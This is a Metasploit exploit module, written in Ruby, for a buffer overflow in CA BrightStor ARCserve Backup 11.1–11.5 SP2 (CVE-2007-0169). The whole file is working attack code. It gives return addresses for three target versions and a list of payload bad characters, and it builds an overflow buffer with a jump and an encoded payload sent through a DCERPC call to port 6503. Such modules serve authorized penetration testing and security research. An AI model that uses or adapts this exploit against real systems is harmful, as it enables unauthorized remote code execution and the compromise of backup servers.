Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::DCERPC

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'CA BrightStor ARCserve Message Engine Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup

                                11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow

                                the buffer and execute arbitrary code.

                        },

                        'Author'         => [ 'MC', 'patrick' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2007-0169' ],

                                        [ 'OSVDB', '31318' ],

                                        [ 'BID', '22005' ],

                                ],

                        'Privileged'     => true,

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'thread',

                                },

                        'Payload'        =>

                                {

                                        'Space'    => 600,

                                        'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform' => 'win',

                        'Targets'  =>

                                [

                                        [ 'BrightStor ARCserve r11.1',                { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004

                                        [ 'BrightStor ARCserve r11.5',                { 'Ret' => 0x2380ceb5 } ],

                                        [ 'BrightStor ARCserve r11.5 SP2',        { 'Ret' => 0x2380a47d } ],

                                ],

                        'DisclosureDate' => 'Jan 11 2007',

                        'DefaultTarget' => 1))

                register_options(

                        [

                                Opt::RPORT(6503)

                        ], self.class)

        end

        def exploit

                connect

                handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])

                print_status("Binding to #{handle} ...")

                dcerpc_bind(handle)

                print_status("Bound to #{handle} ...")

                filler =  rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')

                sploit =  NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)

                print_status("Trying target #{target.name}...")

                        begin

                                dcerpc_call(47, sploit)

                                rescue Rex::Proto::DCERPC::Exceptions::NoResponse

                        end

                handler

                disconnect

        end

end